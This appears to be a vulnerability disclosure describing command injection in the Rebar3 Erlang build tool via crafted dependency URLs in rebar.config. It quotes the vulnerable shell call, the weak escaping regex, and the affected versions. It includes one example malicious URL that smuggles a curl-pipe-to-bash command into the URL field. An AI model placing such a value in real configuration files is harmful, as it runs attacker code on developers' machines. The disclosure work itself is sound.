Rebar3 is a tool widely used for building applications in the Erlang world. It is quite dangerous. With the tool, you can get OS command execution in different ways and sometimes in ways not intended by developers.

While examining this tool, I came across the strange processing of URLs contained in rebar.config file. Improperly filtered data sent to the shell resulted in the execution of arbitrary commands in the operating system.

Command injection occurs on a step of fetching dependencies, which makes the exploitation vector attractive. You can find the proof of concept code here:

To exploit the vulnerability, any of the Rebar3 actions must be performed, including clean, compile, cover, ct, deps, dialyzer, edoc, escriptize, eunit, get-deps, release, relup, shell, tar, tree, upgrade and xref.

The malicious URL in rebar.config may look like this:|curl\t-fsSL\t|bash\t-|git\tclone\t

The principal problem is posed by the function sh, which called from numerous sources, including those with potentially dangerous inputs.

An example of an unsafe call to sh function:

rebar_utils:sh(?FMT("hg clone -q -r ~ts ~ts ~ts",
                   [{cd, filename:dirname(Dir)}]);

The only rebar_utils:escape_chars guards whether the data will remain data or become a command.

escape_chars(Str) ->
    re:replace(Str, "([ ()?`!$&;\"\'])", "\\\\&",
               [global, {return, list}, unicode]).

The vulnerability is fixed in the pull request #2302. The flaws of such a fix are clear. Thus, versions 3.0.0-beta.3 to 3.13.2 of Rebar3 are vulnerable.

Making the proper fix to prevent the mixing of data and instructions is difficult. Because there are so many dangerous places in the tool, developers do not want to consider issues as vulnerabilities and address them.